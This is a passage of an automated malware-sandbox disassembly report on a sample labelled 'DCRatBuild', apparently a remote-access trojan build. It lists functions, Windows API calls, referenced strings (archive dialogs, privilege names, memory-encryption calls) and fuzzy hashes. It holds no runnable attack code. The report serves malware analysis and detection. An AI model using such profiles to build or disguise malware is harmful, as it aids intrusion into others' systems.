GetLastError.KERNEL32(?,?,00000800,?,?,?,00000000,00000000), ref: 004974CD

Part of subcall function 00497A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00497AAB
Part of subcall function 00497A9C: GetLastError.KERNEL32 ref: 00497AF1
Part of subcall function 00497A9C: CloseHandle.KERNEL32(?), ref: 00497B00

Strings

SeSecurityPrivilege, xrefs: 0049744B
SeRestorePrivilege, xrefs: 00497460

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: 734ec478ed08d10decf15a585c5c10da23116cfb2fa517aba8b1094e0868981b
Instruction ID: b0b326167f7c9ffc1fb26a651b6877bb144a5c0c8980e1a8a8bce2dc78d3e58c
Opcode Fuzzy Hash: 734ec478ed08d10decf15a585c5c10da23116cfb2fa517aba8b1094e0868981b
Instruction Fuzzy Hash: 5B3192B1D04248BADF51EFA59C45BEE7FA8AB15318F04403BF805A7292C77C9A44C769

Function 004AAD10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 00491316: GetDlgItem.USER32(00000000,00003021), ref: 0049135A
Part of subcall function 00491316: SetWindowTextW.USER32(00000000,004C35F4), ref: 00491370

EndDialog.USER32(?,00000001), ref: 004AAD98
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 004AADAD
SetDlgItemTextW.USER32(?,00000066,?), ref: 004AADC2

Strings

ASKNEXTVOL, xrefs: 004AAD28

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: 965429562f5f76020083624a805db6e85f3a9efc6fd8d94d06dfc8da7e1ee989
Instruction ID: 41ae52ae7254e2575fb3cdf57443252a74708a510d38fe47b13a991cddaf1375
Opcode Fuzzy Hash: 965429562f5f76020083624a805db6e85f3a9efc6fd8d94d06dfc8da7e1ee989
Instruction Fuzzy Hash: C111B432240200AFD751CF69DC45F7B3B6AAB6B742F400026F280E65B0C7699925D72E

Function 004ADDA0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

DialogBoxParamW.USER32(GETPASSWORD1,00010422,004AB270,?,?), ref: 004ADE18

Strings

GETPASSWORD1, xrefs: 004ADE0D
rJ, xrefs: 004ADDDC
xzN, xrefs: 004ADE28

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: DialogParam
String ID: GETPASSWORD1$rJ$xzN
API String ID: 665744214-922452723
Opcode ID: ffde4a1b02e40316f2f37744df0fa46a953c348356f2bf25e864737e5a48bc87
Instruction ID: f4479df4ef2d5c2102154c2780ff4ae9a18914bf0c378c6f41657781fc75f1a2
Opcode Fuzzy Hash: ffde4a1b02e40316f2f37744df0fa46a953c348356f2bf25e864737e5a48bc87
Instruction Fuzzy Hash: D9112932640144AADF129E34AC45FEB3794AB1A315F14407BBD46AB180CBBCAC84C36C

Function 0049D8EC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 0049D954
_strncpy.LIBCMT ref: 0049D99A

Part of subcall function 004A1DA7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,004D1030,00000200,0049D928,00000000,?,00000050,004D1030), ref: 004A1DC4

Strings

@%s, xrefs: 0049D93E
$%s, xrefs: 0049D949

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: ByteCharMultiWide__fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 562999700-834177443
Opcode ID: ddfd854e52318f5af5407df1586241b046d4f86b10214ab3c44a47133a2d2a3e
Instruction ID: 11af0c8ec5efaf1766013f6afa04cd3c83a736fdc7c74951a06d6286eb5ff2eb
Opcode Fuzzy Hash: ddfd854e52318f5af5407df1586241b046d4f86b10214ab3c44a47133a2d2a3e
Instruction Fuzzy Hash: 1221A2B2840248AEDF20EEA4CC05FDE7FA8AF05304F544027F910962A2E37AD659CB59

Function 004A0E46 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,0049AC5A,00000008,?,00000000,?,0049D22D,?,00000000), ref: 004A0E85
CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,0049AC5A,00000008,?,00000000,?,0049D22D,?,00000000), ref: 004A0E8F
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,0049AC5A,00000008,?,00000000,?,0049D22D,?,00000000), ref: 004A0E9F

Strings

Thread pool initialization failed., xrefs: 004A0EB7

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: bdb3c9ca6319e87cc12698d59c4df3d248cff3ebbb70c7abdaecaf2bd0d6e661
Instruction ID: eb878c9483c272f20aeed3b0e4d3950b7c96672436d959d8096afd3a1a3b525e
Opcode Fuzzy Hash: bdb3c9ca6319e87cc12698d59c4df3d248cff3ebbb70c7abdaecaf2bd0d6e661
Instruction Fuzzy Hash: C11151B26407089FC3315F6A9C84AA7FBECEB6A744F14882FF1DAC2200D67959419B58

Function 0049124F Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 47COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(?), ref: 0049125D

Strings

(J, xrefs: 004912A3
2J, xrefs: 00491292
A, xrefs: 00491285

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: Malloc
String ID: (J$2J$A
API String ID: 2696272793-1974247778
Opcode ID: 951d5c53a36bf5989a34278bff322231f329df49d51818dd69de9a503170e9d3
Instruction ID: 714437d4d72dcb476d42bca8f82fb6ba0dda786d78d7887d73cc47488ee3dc54
Opcode Fuzzy Hash: 951d5c53a36bf5989a34278bff322231f329df49d51818dd69de9a503170e9d3
Instruction Fuzzy Hash: FA01DB75901219AFCF14DFA4D8449EEBBF8EF09314B1041ABE905E3350D7749A51CF98

Function 004ADCDD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

REPLACEFILEDLG, xrefs: 004ADD1C, 004ADD50
RENAMEDLG, xrefs: 004ADD31

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 482c9d05a4cedd07ee2d2a1359b4df6fa39fe32b19b924c450f8ed1289311646
Instruction ID: bacc2521322511d208117476f594a4e4047197bb155fe9057e3a92549dbc154e
Opcode Fuzzy Hash: 482c9d05a4cedd07ee2d2a1359b4df6fa39fe32b19b924c450f8ed1289311646
Instruction Fuzzy Hash: 4001B176A05245AFEB119F55FC44AAB3FA8F72A344B10443BF806C3630D7349850DBAD

Function 00491316 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 0049E2E8: _swprintf.LIBCMT ref: 0049E30E
Part of subcall function 0049E2E8: _strlen.LIBCMT ref: 0049E32F
Part of subcall function 0049E2E8: SetDlgItemTextW.USER32(?,004CE274,?), ref: 0049E38F
Part of subcall function 0049E2E8: GetWindowRect.USER32(?,?), ref: 0049E3C9
Part of subcall function 0049E2E8: GetClientRect.USER32(?,?), ref: 0049E3D5

GetDlgItem.USER32(00000000,00003021), ref: 0049135A
SetWindowTextW.USER32(00000000,004C35F4), ref: 00491370

Strings

0, xrefs: 00491319
J, xrefs: 0049134A

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: J$0
API String ID: 2622349952-163445241
Opcode ID: d333e29e8ce844b5acaf32526467dd4df979d24750f9a2a6c1f6b9d487ad3554
Instruction ID: 9ca74078a3852aed00dce0bfd0fd9d7b36f62059798ef6da6bdfdba71184bcef
Opcode Fuzzy Hash: d333e29e8ce844b5acaf32526467dd4df979d24750f9a2a6c1f6b9d487ad3554
Instruction Fuzzy Hash: 27F03130104289B6EF255F51880DBAA3F79AB44345F0481BAFC4455AB1CB7CC990DA58

Function 004B9A1E Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 004B9AA9
__alldvrm.LIBCMT ref: 004B9CAA
__alldvrm.LIBCMT ref: 004B9CCC

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 15e7b98f52cb345e5770fd34cbf54b95dbf5428e1727e1497290f0e3bad33655
Instruction ID: b1f6c87a6e8c54849c1ae3835cfa75d6624dc5fcd3c907931274aaf3451facfe
Opcode Fuzzy Hash: 15e7b98f52cb345e5770fd34cbf54b95dbf5428e1727e1497290f0e3bad33655
Instruction Fuzzy Hash: 50A13672A042869FEB158F29C8917EABFF5EF55310F18416FE6459B381C23C9D42C768

Function 0049A354 Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000800,?,00497F69,?,?,?), ref: 0049A3FA
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,?,00000800,?,00497F69,?), ref: 0049A43E
SetFileTime.KERNEL32(?,00000800,?,00000000,?,?,00000800,?,00497F69,?,?,?,?,?,?,?), ref: 0049A4BF
CloseHandle.KERNEL32(?,?,?,00000800,?,00497F69,?,?,?,?,?,?,?,?,?,?), ref: 0049A4C6

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: c5b38de2eae29361014085dbc49587606128b579cdc19bff02967cd008fc7e04
Instruction ID: 7adcb12c0a11976fa5753368dbb36fcfa2e4bff8b1bf881a2ea5c03b5a4823d0
Opcode Fuzzy Hash: c5b38de2eae29361014085dbc49587606128b579cdc19bff02967cd008fc7e04
Instruction Fuzzy Hash: 9C41E3311483819AEB31DF24DC49FAFBBE49B85304F14092EB9D1D3290D6A89A58DB97

Function 004BC988 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,004B91E0,?,00000000,?,00000001,?,?,00000001,004B91E0,?), ref: 004BC9D5
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 004BCA5E
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,004B6CBE,?), ref: 004BCA70
__freea.LIBCMT ref: 004BCA79

Part of subcall function 004B8E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,004BCA2C,00000000,?,004B6CBE,?,00000008,?,004B91E0,?,?,?), ref: 004B8E38

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: ca6f382902c40912baa26b4ec6f3c2e8418fd51c216169e4cfd4dc76bb1bdba1
Instruction ID: 6807e83dc33487605d81dddedfaa05e3cdfc2672cdee050cd8297b066608f830
Opcode Fuzzy Hash: ca6f382902c40912baa26b4ec6f3c2e8418fd51c216169e4cfd4dc76bb1bdba1
Instruction Fuzzy Hash: 0C31B072A0020AABDF25DF65CCC1EEF7BA5EB45310B04416AFC14E6251EB39DD50CBA4

Function 004AA663 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 004AA666
GetDeviceCaps.GDI32(00000000,00000058), ref: 004AA675
GetDeviceCaps.GDI32(00000000,0000005A), ref: 004AA683
ReleaseDC.USER32(00000000,00000000), ref: 004AA691

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 66af768b3ffc2d5b4c24415d3609fb76e6133078b3f06bc9f6c32b00e866557a
Instruction ID: a319cc4e22d8e13d0b102212a2746ebca9b01591952b93fce7e8bb04d13c2d94
Opcode Fuzzy Hash: 66af768b3ffc2d5b4c24415d3609fb76e6133078b3f06bc9f6c32b00e866557a
Instruction Fuzzy Hash: 10E0EC31982721BBD6615F70AC0DBAB3F54EB15B53F014127FA0596194EF648610CBA9

Function 004AD06A Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 278COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 004AD11B

Strings

.lnk, xrefs: 004AD2F7, 004AD307
dJ, xrefs: 004AD3C5

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: _wcschr
String ID: .lnk$dJ
API String ID: 2691759472-862619046
Opcode ID: bc6f4c2e936341dd4eb5268612834b663299da7f0ff1519406712bd8c8492916
Instruction ID: 6816e714b3711c55559553ebf5c592b18455a8610f61d521382501c6702a1b00
Opcode Fuzzy Hash: bc6f4c2e936341dd4eb5268612834b663299da7f0ff1519406712bd8c8492916
Instruction Fuzzy Hash: 00A15F72C001299ADF24DBA08D45EFB73FCAF55304F0885E7B50AE7141EE389A858B69

Function 004975DE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137timeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004975E3

Part of subcall function 004A05DA: _wcslen.LIBCMT ref: 004A05E0

Part of subcall function 0049A56D: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 0049A598

SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 0049777F

Part of subcall function 0049A4ED: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,0049A325,?,?,?,0049A175,?,00000001,00000000,?,?), ref: 0049A501
Part of subcall function 0049A4ED: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,0049A325,?,?,?,0049A175,?,00000001,00000000,?,?), ref: 0049A532

Strings

:, xrefs: 00497654

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: File$Attributes$CloseFindH_prologTime_wcslen
String ID: :
API String ID: 3226429890-336475711
Opcode ID: 52073a4601031cf93266441daeecdd320c197ba25b1901aef6bd2c27b2855201
Instruction ID: 9d512eafada60d528c4cedba1e034ca995dc71e64ae9856dd5f258321aa09aaf
Opcode Fuzzy Hash: 52073a4601031cf93266441daeecdd320c197ba25b1901aef6bd2c27b2855201
Instruction Fuzzy Hash: AE419071800158A9EF25EB65CC59EEFBB78AF51304F0080FFB605A2192DB785F85CB69

Function 0049B37A Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 0049B438
_wcschr.LIBVCRUNTIME ref: 0049B478

Strings

*, xrefs: 0049B38A

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: _wcschr
String ID: *
API String ID: 2691759472-163128923
Opcode ID: eec6b0c0ac14c81eb7c9846dc6ae13ecf87d2f5cc818caff4d23694ab125f373
Instruction ID: 61b9ecadd6535cd0ad7e100ef211a320b9151dd7840e6c22ccaf3674bec6494e
Opcode Fuzzy Hash: eec6b0c0ac14c81eb7c9846dc6ae13ecf87d2f5cc818caff4d23694ab125f373
Instruction Fuzzy Hash: FD3116221443119A9E30EE55BB0267B7BE4DF94B14B15813FFD8447243E76D8C42B2EA

Function 004AB48E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 004AB4E3
_wcslen.LIBCMT ref: 004AB4FE

Strings

}, xrefs: 004AB4D6

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: _wcslen
String ID: }
API String ID: 176396367-4239843852
Opcode ID: 731f91e679ba86f575d9aacf6327a422988d3db00526ecd6149ab5cc04fce725
Instruction ID: 0c6e468c1c3a6d37ade953cfe31db01daf13afbb80485f4caa9fb012d75df6a5
Opcode Fuzzy Hash: 731f91e679ba86f575d9aacf6327a422988d3db00526ecd6149ab5cc04fce725
Instruction Fuzzy Hash: C621CF629043066ADB31AA65D845AABB3DCDFA6758F04042FF54083243EB6CDD4883FA

Function 0049F344 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 0049F2C5: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0049F2E4
Part of subcall function 0049F2C5: GetProcAddress.KERNEL32(004D81C8,CryptUnprotectMemory), ref: 0049F2F4

GetCurrentProcessId.KERNEL32(?,?,?,0049F33E), ref: 0049F3D2

Strings

CryptProtectMemory failed, xrefs: 0049F389
CryptUnprotectMemory failed, xrefs: 0049F3CA

Memory Dump Source

